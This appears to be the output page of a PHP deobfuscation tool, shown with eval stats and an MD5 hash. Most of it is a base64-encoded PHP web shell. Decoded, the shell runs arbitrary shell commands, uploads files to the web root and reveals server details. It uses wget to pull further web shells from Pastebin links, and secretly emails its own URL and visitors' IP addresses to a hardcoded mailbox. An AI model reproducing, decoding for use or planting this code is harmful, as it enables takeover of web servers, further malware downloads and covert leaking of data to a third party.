ZXhlYycpKSB7IAkJCgkJQGV4ZWMoJGNtZCwkcmVzdWx0cyk7IAkJCgkJJGJ1ZmYgPSAiIjsgCQkKCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgCQkJCgkJCSRidWZmIC49ICRyZXN1bHQ7IAkJCgkJfSByZXR1cm4gJGJ1ZmY7IAkKCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAJCQoJCUBvYl9zdGFydCgpOyAJCQoJCUBwYXNzdGhydSgkY21kKTsgCQkKCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgCQkKCQlAb2JfZW5kX2NsZWFuKCk7IAkJCgkJcmV0dXJuICRidWZmOyAJCgl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAJCQoJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7IAkJCgkJcmV0dXJuICRidWZmOyAJCgl9IAp9CmZ1bmN0aW9uIHN1bGFwKCR0ZXh0KSB7CiAgaWYoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgIHJldHVybiAkdGV4dDsKCX0KICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsKfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewovLyBTb2NrZXQKJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKLy8gU3ltYm9saWMgTGluawokaW5mbyA9ICdsJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewovLyBSZWd1bGFyCiRpbmZvID0gJy0nOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7Ci8vIEJsb2NrIHNwZWNpYWwKJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKLy8gRGlyZWN0b3J5CiRpbmZvID0gJ2QnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ci8vIENoYXJhY3RlciBzcGVjaWFsCiRpbmZvID0gJ2MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7Ci8vIEZJRk8gcGlwZQokaW5mbyA9ICdwJzsKfSBlbHNlIHsKLy8gVW5rbm93bgokaW5mbyA9ICd1JzsKfQoKLy8gT3duZXIKJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCi8vIEdyb3VwCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CigoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgovLyBXb3JsZAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoKcmV0dXJuICRpbmZvOwp9CmVycm9yX3JlcG9ydGluZyhFX0FMTCBeIChFX05PVElDRSB8IEVfV0FSTklORykpOyAKJHNob3dfZHMgPSAoIWVtcHR5KCRkcykpID8gIjxmb250IGNvbG9yPXJlZD4kZHM8L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1saW1lPk5PTkU8L2ZvbnQ+IjsKZWNobyAiPGI+PGZvbnQgY29sb3I9J2dyZWVuJz48YnI+U2VydmVyIElQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvYj48L2ZvbnQ+IjsKZWNobyAiPGI+PGZvbnQgY29sb3I9J2dyZWVuJz48YnI+Ii5waHBfdW5hbWUoKS4iPC9iPjwvZm9udD48YnI+IjsKZWNobyAiPGI+PGZvbnQgY29sb3I9J2dyZWVuJz5EaXNhYmxlIEZ1bmN0aW9uczogJHNob3dfZHM8L2I+PC9mb250Pjxicj48YnI+IjsKZWNobyAiJm5ic3A7PGEgaHJlZj0nP3Nob3cnIHN0eWxlPSdib3JkZXI6MnB4IHNvbGlkICMwMDAwZmY7d2lkdGg6ODBweDtwYWRkaW5nOjBweCA4cHggMHB4IDhweDsnPkggTyBNIEU8L2E+Jm5ic3A7PGEgaHJlZj0nP2M3ZT1raWxsJyBzdHlsZT0nYm9yZGVyOjJweCBzb2xpZCAjMDAwMGZmO3dpZHRoOjgwcHg7cGFkZGluZzowcHggOHB4IDBweCA4cHg7Jz5LIEkgTCBMIDwvYT4mbmJzcDs8YSBocmVmPSc/YnllPWxvZ291dCcgc3R5bGU9J2NvbG9yOnJlZDtib3JkZXI6MnB4IHNvbGlkICMwMDAwZmY7d2lkdGg6ODBweDtwYWRkaW5nOjBweCA4cHggMHB4IDhweDsnPkwgTyBHIE8gVSBUPC9hPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3VwbG9hZCcgbmFtZT0ndXBsb2FkJz4KPC9mb3JtPiI7CiRyb290ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKJGZpbGVzID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiRkZXN0ID0gJHJvb3QuJy8nLiRmaWxlczsKaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsKCWlmKGlzX3dyaXRhYmxlKCRyb290KSkgewoJCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CgkJCSR3ZWIgPSAiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIjsKCQkJZWNobyAic3Vrc2VzIHVwbG9hZCAtPiA8YSBocmVmPSckd2ViLyRmaWxlcycgdGFyZ2V0PSdfYmxhbmsnPjxiPjx1PiR3ZWIvJGZpbGVzPC91PjwvYj48L2E+IjsKCQl9IGVsc2UgewoJCQllY2hvICJnYWdhbCB1cGxvYWQgZGkgZG9jdW1lbnQgcm9vdC4iOwoJCX0KCX0gZWxzZSB7CgkJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkZmlsZXMpKSB7CgkJCWVjaG8gInN1a3NlcyB1cGxvYWQgPGI+JGZpbGVzPC9iPiBkaSBmb2xkZXIgaW5pIjsKCQl9IGVsc2UgewoJCQllY2hvICJnYWdhbCB1cGxvYWQiOwoJCX0KCX0KfQoJZWNobyI8dGFibGUgYWxpZ249Y2VudGVyPiI7CiAgICBlY2hvIjx0ZD4iOwogICAgZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnPiAiOyAgCiAgICBlY2hvIjxzZWxlY3QgbmFtZT0nc2hlbGwnIHN0eWxlPXBhZGRpbmc6NXB4IDEwcHg7PiI7ICAKICAgIGVjaG8iPG9wdGlvbiBzZWxlY3RlZCc+ICAgICAgICBTaGVsbCBDcmVhdG9yICAgICAgIDwvb3B0aW9uPiI7IAogICAgZWNobyI8b3B0aW9uIHZhbHVlPSd3c28nPiAgICAgICAgIFdTTyBTaGVsbCAgICAgICA8L29wdGlvbj4iOyAgCiAgICBlY2hvIjxvcHRpb24gdmFsdWU9J2lkeCc+ICAgICAgICAgSURYIFNoZWxsICAgICAgIDwvb3B0aW9uPiI7IAogICAgZWNobyI8b3B0aW9uIHZhbHVlPSdyNTcnPiAgICAgICAgIFI1NyBTaGVsbCAgICAgIDwvb3B0aW9uPiI7ICAKICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0nYjM3NGsnPiAgICAgICBCMzc0SyBTaGVsbCAgICAgICA8L29wdGlvbj4iOyAgCiAgICBlY2hvIjxvcHRpb24gdmFsdWU9J3NhZHJhemFtJz4gICAgICAgICBTYWRyYXphbSBTaGVsbCAgICAgICA8L29wdGlvbj4iOyAKICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0nYmxhY2toYXQnPiAgICAgICAgIEJsYWNrSGF0IFNoZWxsICAgICAgIDwvb3B0aW9uPiI7CiAgICBlY2hvIjxvcHRpb24gdmFsdWU9J25vbmFtZSc+ICAgICAgICAgTm9uYW1lIFNoZWxsICAgICAgIDwvb3B0aW9uPiI7ICAKICAgIGVjaG8gIjwvc2VsZWN0PiI7CiAgICBlY2hvIiZuYnNwOzxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtJyBuYW1lPSdlbnRlcicgdmFsdWU9J1N1Ym1pdCEnPiI7ICAKIGlmKGlzc2V0KCRfUE9TVFsnZW50ZXInXSkpICAgeyAgCiBpZiAoJF9QT1NUWydsdWNrbnV0J10gPT0gJ3dzb19zaGVsbCcpICB7ICAKICRleGVjPWV4ZWMoJ3dnZXQgaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9VHBtNUUxMGcgLU8gd3Nvc2hlbGwucGhwJyk7CiBpZihmaWxlX2V4aXN0cygnLi93c29zaGVsbC5waHAnKSl7CiBlY2hvICc8Y2VudGVyPjxhIGhyZWY9Li93c29zaGVsbC5waHAgdGFyZ2V0PSJfYmxhbmsiPiB3c28ucGhwIDwvYT4gdXBsb2FkIHN1a3NlcyAhPC9jZW50ZXI+JzsKfSBlbHNlIHsKZWNobyAnPGNlbnRlcj5nYWdhbCB1cGxvYWQgITwvY2VudGVyPic7Cn0KfWVsc2VpZigkX1BPU1RbJ3NoZWxsJ10gPT0gJ2lkeCcpIHsKCQkkZXhlYz1leGVjKCd3Z2V0IGh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPW5DNnBXaDVhIC1PIGlkeC5waHAnKTsKICAgICAgICBpZihmaWxlX2V4aXN0cygnLi9pZHgucGhwJykpewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPjxhIGhyZWY9Li9pZHgucGhwIHRhcmdldD0iX2JsYW5rIj4gaWR4LnBocCA8L2E+IHVwbG9hZCBzdWtzZXMgITwvY2VudGVyPic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj5GYWlsZWQhPC9jZW50ZXI+JzsKICAgICAgICB9Cn1lbHNlaWYoJF9QT1NUWydzaGVsbCddID09ICdyNTcnKSB7CgkJJGV4ZWM9ZXhlYygnd2dldCBodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT1TOXR6QmdnMyAtTyByNTcucGhwJyk7CiAgICAgICAgaWYoZmlsZV9leGlzdHMoJy4vcjU3LnBocCcpKXsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj48YSBocmVmPS4vcjU3LnBocCB0YXJnZXQ9Il9ibGFuayI+IHI1Ny5waHAgPC9hPiB1cGxvYWQgc3Vrc2VzICE8L2NlbnRlcj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+RmFpbGVkITwvY2VudGVyPic7CiAgICAgICAgfQp9ZWxzZWlmKCRfUE9TVFsnc2hlbGwnXSA9PSAnd3NvJykgewoJCSRleGVjPWV4ZWMoJ3dnZXQgaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9TjBlaDNRN1kgLU8gd3NvLnBocCcpOwogICAgICAgIGlmKGZpbGVfZXhpc3RzKCcuL3dzcC5waHAnKSl7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+PGEgaHJlZj0uL3dzby5waHAgdGFyZ2V0PSJfYmxhbmsiPiB3c28ucGhwIDwvYT4gdXBsb2FkIHN1a3NlcyAhPC9jZW50ZXI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPkZhaWxlZCE8L2NlbnRlcj4nOwogICAgICAgIH0KfWVsc2VpZigkX1BPU1RbJ3NoZWxsJ10gPT0gJ2IzNzRrJykgewoJCSRleGVjPWV4ZWMoJ3dnZXQgaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9Y1I3MUxpTXAgLU8gYjM3NGsucGhwJyk7CiAgICAgICAgaWYoZmlsZV9leGlzdHMoJy4vYjM3NGsucGhwJykpewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPjxhIGhyZWY9Li9iMzc0ay5waHAgdGFyZ2V0PSJfYmxhbmsiPiBiMzc0ay5waHAgPC9hPiB1cGxvYWQgc3Vrc2VzICE8L2NlbnRlcj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+RmFpbGVkITwvY2VudGVyPic7CiAgICAgICAgfQp9ZWxzZWlmKCRfUE9TVFsnc2hlbGwnXSA9PSAnc2FkcmF6YW0nKSB7CgkJJGV4ZWM9ZXhlYygnd2dldCBodHRwOi8vcGFzdGViaW4uY29tL3Jhdy5waHA/aT14aktybm5CRCAtTyBzYWRyYXphbS5waHAnKTsKICAgICAgICBpZihmaWxlX2V4aXN0cygnLi9zYWRyYXphbS5waHAnKSl7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+PGEgaHJlZj0uL3NhZHJhemFtLnBocCB0YXJnZXQ9Il9ibGFuayI+IHNhZHJhemFtLnBocCA8L2E+IHVwbG9hZCBzdWtzZXMgITwvY2VudGVyPic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj5GYWlsZWQhPC9jZW50ZXI+JzsKICAgICAgICB9Cn1lbHNlaWYoJF9QT1NUWydzaGVsbCddID09ICdibGFja2hhdCcpIHsKCQkkZXhlYz1leGVjKCd3Z2V0IGh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPTNMMkVTV2V1IC1PIGJoLnBocCcpOwogICAgICAgIGlmKGZpbGVfZXhpc3RzKCcuL2JoLnBocCcpKXsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj48YSBocmVmPS4vYmgucGhwIHRhcmdldD0iX2JsYW5rIj4gYmgucGhwIDwvYT4gdXBsb2FkIHN1a3NlcyAhPC9jZW50ZXI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPkZhaWxlZCE8L2NlbnRlcj4nOwogICAgICAgIH0KfWVsc2VpZigkX1BPU1RbJ3NoZWxsJ10gPT0gJ25vbmFtZScpIHsKCQkkZXhlYz1leGVjKCd3Z2V0IGh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPUJSQ21mMDJjIC1PIG5vbmFtZS5waHAnKTsKICAgICAgICBpZihmaWxlX2V4aXN0cygnLi9ub25hbWUucGhwJykpewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPjxhIGhyZWY9Li9ub25hbWUucGhwIHRhcmdldD0iX2JsYW5rIj4gbm9uYW1lLnBocCA8L2E+IHVwbG9hZCBzdWtzZXMgITwvY2VudGVyPic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj5GYWlsZWQhPC9jZW50ZXI+JzsKICAgICAgICB9ICAgICAgICAKICAgICB9Cn0KfQplbHNlaWYoJF9HRVRbJ2J5ZSddID09ICdsb2dvdXQnKSB7CgkKCmVjaG8gJzxmb3JtIGFjdGlvbj0iP2Rpcj0kZGlyJmRvPWxvZ291dCIgbWV0aG9kPSJwb3N0Ij4nOwogICAgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7IAogICAgZWNobyAnR29vZCBCeWUhISc7Cn0KZWxzZWlmKCRfR0VUWydjN2UnXSA9PSAna2lsbCcpIHsKCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCgkJCWRpZSgnPGNlbnRlcj48YnI+PGNlbnRlcj48aDI+U2hlbGwgcmVtb3ZlZDwvaDI+PGJyPkdvb2RieWUgLCBUaGFua3MgZm9yIHRha2UgbXkgc2hlbGwgdG9kYXk8L2NlbnRlcj48L2NlbnRlcj4nKTsKCQllbHNlCgkJCWVjaG8gJzxjZW50ZXI+dW5saW5rIGZhaWxlZCE8L2NlbnRlcj4nOwp9CmVsc2V7Cn0KPz4KPC9jZW50ZXI+CjwvaHRtbD4KPD9waHAgQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IHNldF90aW1lX2xpbWl0KDApOyBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7IGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsgJHR1anVhbm1haWwgPSAnbGlzYW9saXZpYTIycmVhbEBnbWFpbC5jb20nOyAkeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoICBcblxuKklQIEFkZHJlc3MgOiBbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSI7IG1haWwoJHR1anVhbm1haWwsICJMT0dHRVIiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOyA/Pg==').'<?php '); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 86c6300e1d6641ea368228c10ae4b3d2
Eval Count 1
Decode Time 84 ms